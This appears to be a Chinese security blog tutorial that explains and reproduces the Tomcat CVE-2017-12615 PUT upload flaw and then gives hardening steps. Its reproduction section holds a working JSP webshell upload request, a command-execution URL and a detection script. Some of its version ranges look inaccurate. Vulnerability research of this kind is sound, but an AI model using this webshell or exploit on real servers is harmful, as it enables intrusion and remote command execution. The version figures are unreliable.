Tomcat 7.0.34 漏洞深度解析:CVE-2017-12615 文件上传漏洞复现与防护指南

作为Java Web开发中最广泛使用的开源Servlet容器,Apache Tomcat 在企业级应用中扮演着至关重要的角色。然而,其安全性也一直是攻防对抗的焦点。在众多历史漏洞中,Tomcat 7.0.34 因存在高危文件上传漏洞 CVE-2017-12615 而被安全研究人员广泛关注。

Tomcat 7.0.34 漏洞深度解析:CVE-2017-12615 文件上传漏洞复现与防护指南

本文将深入剖析 Tomcat 7.0.34 的核心漏洞原理,结合真实环境进行复现,并提供全面的安全加固建议,帮助开发者和运维人员有效防范此类风险。


漏洞背景:什么是 CVE-2017-12615?

CVE-2017-12615 是一个影响广泛的远程代码执行(RCE)漏洞,本质为文件上传漏洞。该漏洞允许攻击者通过精心构造的HTTP请求,在目标服务器上上传恶意JSP脚本文件,从而实现任意命令执行,最终可能导致服务器权限沦陷。

尽管该漏洞早在2017年就被披露,但由于部分老旧系统仍在使用未修复版本,至今仍有不少暴露在公网的Tomcat服务面临此威胁。


影响范围:哪些版本受影响?

根据官方公告及社区验证,CVE-2017-12615 影响以下 Apache Tomcat 版本:

  • Apache Tomcat 7.0.0 – 7.0.81

  • Apache Tomcat 8.0.0 – 8.0.44

  • Apache Tomcat 8.5.0 – 8.5.1

  • Apache Tomcat 9.0.0.M1 – 9.0.0.M11

特别说明:你所关注的 Tomcat 7.0.34 正处于上述影响范围内,属于高危版本,必须立即升级或采取临时防护措施。


漏洞成因:为什么会出现这个问题?

漏洞的根本原因在于 web.xml 配置不当

在默认配置中,DefaultServletreadonly 参数应为 true,以禁止写操作。但在某些自定义配置中,管理员可能将其设置为 false,导致以下后果:

<servlet>
    <servlet-name>default</servlet-name>
    <servlet-class>org.apache.catalina.servlets.DefaultServlet</servlet-class>
    <init-param>
        <param-name>readonly</param-name>
        <param-value>false</param-value> <!-- 危险配置! -->
    </init-param>
    <load-on-startup>1</load-on-startup>
</servlet>

readonly="false" 时,Tomcat 将允许 HTTP PUT 方法 向服务器写入文件,攻击者可借此上传 .jsp 文件,实现远程代码执行。


漏洞复现:如何验证 Tomcat 7.0.34 是否存在此漏洞?

1. 环境准备

  • 使用 Vulhub 或 Docker 快速搭建 Tomcat 7.0.34 测试环境:

    git clone https://github.com/vulhub/vulhub.git
    cd vulhub/tomcat/CVE-2017-12615
    docker-compose up -d

2. 检测是否支持 PUT 方法

使用 OPTIONS 请求检测目标是否允许 PUT:

OPTIONS / HTTP/1.1
Host: your-target-ip:8080

若响应头中包含 Allow: GET, HEAD, POST, PUT, DELETE, OPTIONS,则说明 PUT 方法已启用,存在风险。

3. 利用 PUT 上传 JSP WebShell

发送如下 PUT 请求:

PUT /shell.jsp/ HTTP/1.1
Host: your-target-ip:8080
Content-Length: [length]

<%
if("cmd".equals(request.getParameter("pwd"))){
    java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
    int a = -1;
    byte[] b = new byte[1024];
    out.print("<pre>");
    while((a=in.read(b))!=-1) out.println(new String(b));
    out.print("</pre>");
}
%>

📌 技巧:利用 / 绕过 .jsp 后缀限制(Linux 文件系统特性),成功上传后访问 /shell.jsp 即可执行系统命令。

4. 执行命令验证

访问:

http://your-target-ip:8080/shell.jsp?pwd=cmd&cmd=whoami

若返回系统用户信息,则证明漏洞存在且已被利用。


Python 自动化检测脚本(参考)

import requests

def check_cve_2017_12615(url):
    target = f"{url.rstrip('/')}/test.jsp/"
    headers = {
        'User-Agent': 'Mozilla/5.0'
    }
    payload = '<% out.print("VULNERABLE_CVE-2017-12615"); %>'
    
    try:
        # 尝试上传
        put_resp = requests.put(target, data=payload, headers=headers, timeout=5)
        if put_resp.status_code in [201, 204]:
            # 检查是否可访问
            get_resp = requests.get(target[:-1], headers=headers)
            if "VULNERABLE" in get_resp.text:
                print(f"[+] 目标 {url} 存在 CVE-2017-12615 漏洞!")
                return True
    except Exception as e:
        print(f"[-] 检测失败: {e}")
    return False

# 使用示例
check_cve_2017_12615("http://127.0.0.1:8080")

安全加固建议

✅ 1. 升级到安全版本

最根本的解决方案是升级至不受影响的版本:

  • Tomcat 7.x → 升级至 7.0.100 及以上

  • Tomcat 8.x → 升级至 8.5.51 及以上

  • Tomcat 9.x → 升级至 9.0.31 及以上

✅ 2. 修改 web.xml 配置

确保 readonly 参数为 true

<init-param>
    <param-name>readonly</param-name>
    <param-value>true</param-value>
</init-param>

✅ 3. 禁用 PUT 方法

web.xml 中限制 HTTP 方法:

<security-constraint>
    <web-resource-collection>
        <url-pattern>/*</url-pattern>
        <http-method>PUT</http-method>
        <http-method>DELETE</http-method>
    </web-resource-collection>
    <auth-constraint/>
</security-constraint>

✅ 4. 部署 WAF 防护

使用 Web 应用防火墙(如 ModSecurity、云WAF)规则拦截异常的 PUT 请求和 JSP 文件上传行为。

✅ 5. 最小权限运行

避免以 root 或 system 权限运行 Tomcat 服务,降低被攻击后的权限提升风险。


Tomcat 7.0.34 因配置缺陷导致的 CVE-2017-12615 漏洞,是一个典型的“小配置引发大灾难”的案例。虽然该漏洞已有成熟补丁,但大量遗留系统仍未修复,成为黑客入侵的跳板。

作为开发者或运维人员,务必做到:

  • 定期更新中间件版本

  • 遵循最小权限原则

  • 加强安全审计与监控

只有将安全贯穿于整个生命周期,才能真正抵御日益复杂的网络威胁。


📌 温馨提示:本文仅用于技术研究与学习,请勿用于非法用途。网络安全,人人有责!

发表评论

评论列表

还没有评论,快来说点什么吧~